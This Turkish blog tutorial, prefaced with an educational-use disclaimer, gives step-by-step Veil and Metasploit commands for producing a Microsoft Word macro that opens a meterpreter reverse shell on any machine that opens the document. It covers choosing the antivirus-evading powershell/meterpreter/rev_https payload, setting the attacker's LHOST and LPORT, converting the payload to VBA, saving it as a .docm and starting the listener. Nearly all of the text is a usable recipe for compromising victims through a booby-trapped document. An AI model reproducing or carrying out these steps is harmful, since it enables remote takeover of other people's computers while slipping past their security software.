Microsoft Word Makro ile Shell Ele Geçirme

Sorumluluk reddi: Sadece eğitsel amaçlar için kullanılmak üzere yazılmıştır. İzniniz olmayan hiçbir sistem veya kişi üzerinde kullanmayınız!

Gereksinimler:

Tercihen Kali Linux işletim sistemi yüklü bir sanal ortam(VirtualBox veya VMware) veya bilgisayar.

Microsoft Office Word dosyalarını kullanabileceğimiz Windows işletim sistemli bir sanal ortam veya bilgisayar.

Metasploit Framework  çalıştırabileceğiniz bir bilgisayar.(Tercihen Kali Linux işletim sistemi)

Veil-invasion Framework ve çalıştırmak için gerekli işletim sistemi.(Tercihen Kali Linux fakat isteğe göre diğer Linux dağıtımları kullanılabilir)

Visual Basic for Applications (VBA) (Windows cihazlarda varsayılan olarak yüklü gelmekte.)

Python 3.3, Py2Exe, PyCrypto, PyWin32 (Py2Exe’yi kullanmak fark edilme riskini azalttığı için tavsiye edilmiş.)( Windows işletim sistemlerine Python Veil-Evasion Framework tarafından otomatik olarak yüklenir.)

 

Metasploit nedir?

Metasploit, Rapid7 tarafından geliştirilen açık kaynak kodlu bir sistem açığı sömürme yapısıdır. İçinde bir sürü sömürü barındıran bu yapı, hackerların İsviçre çakısı olarak görülebilir. Bu yazıda handler(işleyici) özelliğini kullanacağız.

Macro nedir?

“Macro” görevleri otomatik bir şekilde yerine getirmek için “genellikle” zararsız kodlardır. Office dokümanlarına “makro” yazmak için VBA (Visual Basic for Applications) kullanılır.

Veil-Evasion nedir?

Veil-evasion tıpkı yukarıda bahsedilen Metasploit gibi çeşit çeşit “payload” içeren bir yapıdır. Metasploit Framework’ten farklı olarak bu yapı anti virüslerden ve güvenlik duvarlarından sıyrılmanıza yarayan “payloadlar” yaratmanıza yarar.

Uygulama:

Öncelikle Veil-Evasion Framework’u indirmemiz gerekiyor. (https://github.com/Veil-Framework/Veil)

Bu github repositorisini şu komut ile indirebilirsiniz.

git clone https://github.com/Veil-Framework/Veil

İndirdikten sonra, indirdiğiniz konumda bulunan “Veil” directory’sine cd Veil  komutunu kullanarak, indirmenin bir sonraki adımına geçebiliriz.

Artık Veil directory’si içinde bulunduğumuza göre, indirmeyi

./config/setup.sh –force –silent  komutu ile tamamlayabiliriz.

Veil, çalışması için gerekli başka büyük uygulamaları(Wine,Python,Pycrypto) otomatik olarak indireceği için indirme uzun zaman alabilir.

Not: “–silent” komutu ile herşeyin otomatik indirilmesini sağladık, böylece indirme sırasında “Bunu indirmek istiyor musunuz?” tarzında çıkan sorulara otomatik olarak “Evet” demiş olduk.(İsteğe bağlı olarak yazılmayabilir).

Şimdi Veil Framework’u çalıştırmaya başlayabiliriz.

Çalıştırmak için ./Veil.py   komutunu kullanıyoruz.

Çalıştırdıktan sonra karşımıza kendine özel terminal satırı ile birlikte “Main Menu”, “Available Tools”, “Available Commands” başlıkları altında bir menü çıkar.(bkz. img-1)

img-1.

Bu menüde kullanmak istediğimiz seçenek “Evasion”. Evasion, yazdığımız macronun antivirüsler ve güvenlik duvarları tarafından fark edilmesini engelleyecek. (Bütün antivirüs programları ve güvenlik duvarları söz konusu değildir.)

Görselde (bkz. img-1) en altta gözüken “use” komutu ile “Evasion” seçeneğini seçiyoruz.

use 1 

Önümüze çıkan yeni menüde “Veil-Evasion Menu” başlığının altında gördüğümüz üzere kullanabileceğimiz 41 farklı araç bulunmakta.

Burda kullanmak istediğimiz komutu seçmemiz gerekiyor. Bizim ihtiyacımız olan 21 numaralı olan “powershell/meterpreter/rev_https.py” 

Bu “meterpreter” ile ilgili detaylı bilgi almak için info 21 komutunu kullanabiliriz.Bu komut ile komutun aldığı varsayılan değerleri ve açıklamalarını görüntüleyebiliriz.

Kullanmak istediğimiz modül bu olduğu için use 21 komutu ile 21 numaralı modülü kullanmaya başlayabiliriz.

Artık komutumuz seçili olduğuna göre komutun gerekli değerlerini saldırıya uygun şekilde değiştirmeye başlayabiliriz. İlerlememizin doğru olduğunu görmek için terminaldeki güncel satırımızın “[powershell/meterpreter/rev_https>>]:” olduğunu teyit etmemiz yeterli olacaktır.

Önemli iki değerimiz Ip adresimiz ve Port numaramız olacaktır. 

Bu değerleri aşağıdaki komutlar ile ayarlayabiliriz:

IP Adresi için: set LHOST < cihaz ip adresi>

Port numarası için: set LPORT <istediğiniz port numarası>

Not: <cihaz ip adresi> bilgisi sömürüyü yazdığınız bilgisayarın ip adresi olmalı. (örn. 192.168.178.48).

Not: <istediğiniz port numarası> ‘nı gelen veriyi dinleyip “shell” açmak için kullanacağız, bu sebeple kullanılan bir port numarasını kullanılmadığından emin olunuz. (4446,5050,1234 gibi portlar kullanılabilir.)

Önemli olan bu iki değeri girdikten sonra “generate” komutu ile bir batch dosyası yaratabiliriz. Bu batch dosyası bizim “payload”’umuz. Girdiğimiz IP adresi ve Port numarasını barından bu batch dosyası Veil framework’ünün kitaplığına yüklendi. Enter tuşuna basarak devam edebiliriz.

Kitaplıkta bulunan “.bat” uzantılı dosyayı terminale yazdığımız cd /var/lib/veil/output/source komutu ile görüntüleyebiliriz.

Batch dosyamızın kayıt olduğundan emin olduktan sonra bu modül ile olan işimizi tamamlamış oluyoruz.

Şimdi bize gerekli olan bir sonraki modüle geçiyoruz. Bu modül az önce yazmış olduğumuz “.bat” dosyasını Word için ihtiyaç duyduğumuz macro haline getirecek. 

Bu işlem için ihtiyaç duyduğumuz modülün adı “auxiliary/macro_converter.py”. Şu an kullanmış olduğumuz Veil Framework’ün versiyonunda bu modül 3 numara olarak gözükmekte.Bu nedenle use 3 komutunu kullanarak “macro_converter” isimli modülü seçiyoruz.

Bir sonraki adım olarak daha önceki modülde yaptığımız gibi varsayılan ayarlardan gerekli olanı ihtiyacımıza göre değiştireceğiz. Bulunduğumuz menüde görüldüğü üzere zaten iki tane değer verebildiğimiz bu modülde değiştirmek istediğimiz değerin ismi “POSH_BATCH”. 

Bu değer, macro olarak değiştirilecek batch dosyasının lokasyonuna ihtiyaç duyar. Az önce “cd” komutu ile kontrol etmiş olduğumuz lokasyonda zaten batch dosyamızın konumunu doğrulamıştık. Şimdi bu lokasyonu değer olarak modüle tanıtmamız gerekiyor. Bunun için;

set POSH_BATCH /var/lib/veil/output/source/<payload ismi>.bat komutunu kullanıyoruz.

Not: <payload ismi> kısmına gelecek olan isim sizin “.bat” uzantılı dosyaya verdiğiniz isimdir, eğer isim vermediyseniz varsayılan dosyası isminin adı “payload” olacaktır. Eğer isimden emin olmak istiyorsanız yukarıdaki lokasyonda bulunan “.bat” uzantılı dosyanın ismini manuel olarak kontrol edebilirsiniz.

Komutu girdikten sonra, isteğe bağlı olarak “options” komutunu kullanarak POSH_BATCH kısmına doğru veriyi girip girmediğinizi kontrol edebilirsiniz. Değerlerinizin buna mümkün olduğu kadar benzer şekilde gözükmesi gerekmektedir (bkz. img-2).

 

img-2

Gerekli değerlerin girdisini yapıp, kontrollerini gerçekleştirdiğimize göre generate komutu ile makromuzu oluşturabiliriz.

Batch dosyasını oluşturduğumuz zaman karşılaştığımız gibi bir isim verme satırı ile karşılaşıyoruz bu satırda modülün bize yaratacağı “.txt” uzantılı dosyaya vermek istediğimiz ismi belirliyoruz.(Eğer isim belirtmeden devam edersek varsayılan isim olan “payload” ismi otomatik verilecektir.) 

Aynı şekilde “/var/lib/veil/output/source” lokasyonuna giderek “.txt” uzantılı dosyanın varlığını kontrol edebiliriz. Teyit işlemini gerçekleştirdikten sonra saldırının geri kalanını tamamlamak için Windows işletim sistemli sanal ortama veya bilgisayara geçebiliriz.

Windows ortamında saldırının devamı için ilk yapmamız gereken şey zararlı makroyu içine yüklemek istediğimiz bir Microsoft Word dosyası oluşturmak.

Oluşturduğumuz Word dosyasında, üst kısımda bulunan “Görünüm” sekmesine gelip sağ tarafta bulunan “Makrolar” seçeneğini buluyoruz (bkz. img-3).

Img-3

Daha sonra, “Makroları Görüntüle” seçeneğine tıklayarak açılan sekmede bulunan,”Makro Adı” alanını doldurduktan sonra “Oluştur” butonuna tıklıyoruz.

Not: Makroyu bütün belgelerinize uygulamamak için “Makro Yeri” bölümünde sadece makroyu yüklemek istediğiniz belgeyi seçtiğinizden emin olun. 

Oluştur butonuna basarak açılan VBA sayfasına yönlendirildiğimize göre, yarattığımız “.txt” dosyasının içeriğini bu makronun içine kopyalayabiliriz. Bunu yapmak için aşağıdaki adımları izliyoruz:

  • Zaten lokasyonunu bildiğimiz dosyasının içeriğini 

cat /var/lib/veil/output/source/<payload ismi>.txt

komutu ile terminalde gösterip gördüğümüz çıktıyı kopyalıyoruz

  • Kopyaladığımız makroyu, “Oluştur” butonuna tıkladığımızda açılmış olan VBA arayüzüne yapıştırıyoruz.
  • Son olarak VBA arayüzünü kapatıyoruz.

Not: <payload ismi> kısmına gelecek olan isim sizin “.txt” uzantılı dosyaya verdiğiniz isimdir, eğer isim vermediyseniz varsayılan dosyası isminin adı “payload” olacaktır. Eğer isimden emin olmak istiyorsanız yukarıdaki lokasyonda bulunan “.txt” uzantılı dosyanın ismini manuel olarak kontrol edebilirsiniz.

İçine makro eklemiş olduğumuz Word dosyasını, makroları etkinleştirilmiş halde kaydetmemiz gerekmekte.

Bir Microsoft Word dosyasını makroları etkin halde kaydedebilmek için takip etmemiz gereken adımlar şunlar:

  • Sol üstteki “Dosya” sekmesinde, en aşağıda bulunan “Seçenekler” kısmına tıklamak.
  • Açılan pencerenin sol tarafındaki listenin en altında bulunan “Güven Merkezi” kısmına tıklamak.
  • Sağ alt köşede bulunan “Güven Merkezi Ayarları” butonuna tıklamak.
  • Sol taraftaki listenin ortalarında bulunan “Makro Ayarları” kısmına tıklamak.
  • En aşağıda bulunan “Tüm makroları etkinleştir (önerilmez; tehlikeli olabilecek kod çalıştırılabilir.) kutucuğunu işaretlemek.
  • “Tamam” butonuna tıklayarak pencereleri kapatmak

Doğru ayarları yaptığınız takdirde “Makro Ayarları” penceresi şu şekilde gözükmelidir(bkz. img-4.)

img-4

Not: Bu ayar Microsoft Office tarafında varsayılan olarak “Bildirimde bulunmadan tüm makroları devre dışı bırak” olarak seçildiğinden dolayı, manuel olarak “Tüm makroları etkinleştir” olarak seçilmemiş sistem ve cihazlarda çalışmayacaktır.

  • Microsoft Word belgesini “Farklı Kaydet” seçeneği ile kaydediyoruz.
  • Farklı kaydederken, belgeyi “Word Macro-Enabled Document (*.docm)” türünde kaydettiğimizden emin oluyoruz(bkz. img-5.)

Img-5

Saldırımızın geri kalanı için Metasploit yapısına geçiş yapıyoruz.

Metasploit Framework kullanarak bir handler (işleyici) yaratacağız. Bu handler’ı yaratmak için

sudo msfconsole -r ‘/var/lib/veil/output/handlers/<payload ismi>.rc

 komutunu kullanıyoruz.

Terminalde Metasploit Framework’e ait bir “reverse handler ekranı çıkıyor, bu görmüş olduğumuz terminal satırlarının en altında daha önceden LHOST ve LPORT olarak değer vermiş olduğumuz Ip adresini ve Port numarasını görebiliriz. 

An itibari ile saldırıyı tamamlamış bulunuyoruz, zararlı makroyu bulunduran Word belgesini açması durumunda maruz kalan sistemin meterpreter shell’ine erişim kazanılır.

 

Sorularınızı aşağıda bulunan yorum alanına yazabilir, aynı zamanda iletişim ve sorularınız için halilbilgeyunak@gmail.com adresini kullanabilirsiniz.

Sorumluluk reddi: Sadece eğitsel amaçlar için kullanılmak üzere yazılmıştır. İzniniz olmayan hiçbir sistem veya kişi üzerinde kullanmayınız!

 

Kaynaklar:

https://github.com/Veil-Framework/Veil

https://www.thinkit.co.nz/blog/hackersusingmacros/

https://www.hackingloops.com/creating-malicious-word-macros-tutorial-autorun-stub-via-word-document/

https://steemit.com/technology/@toalsty/how-to-hack-someone-using-word-macros

https://www.beyaz.net/tr/guvenlik/makaleler/metasploit_nedir.html

https://docs.rapid7.com/metasploit/msf-overview/

https://tr.wikipedia.org/wiki/TCP_ve_UDP_port_numaralar%C4%B1_listesi

About The Author

Reply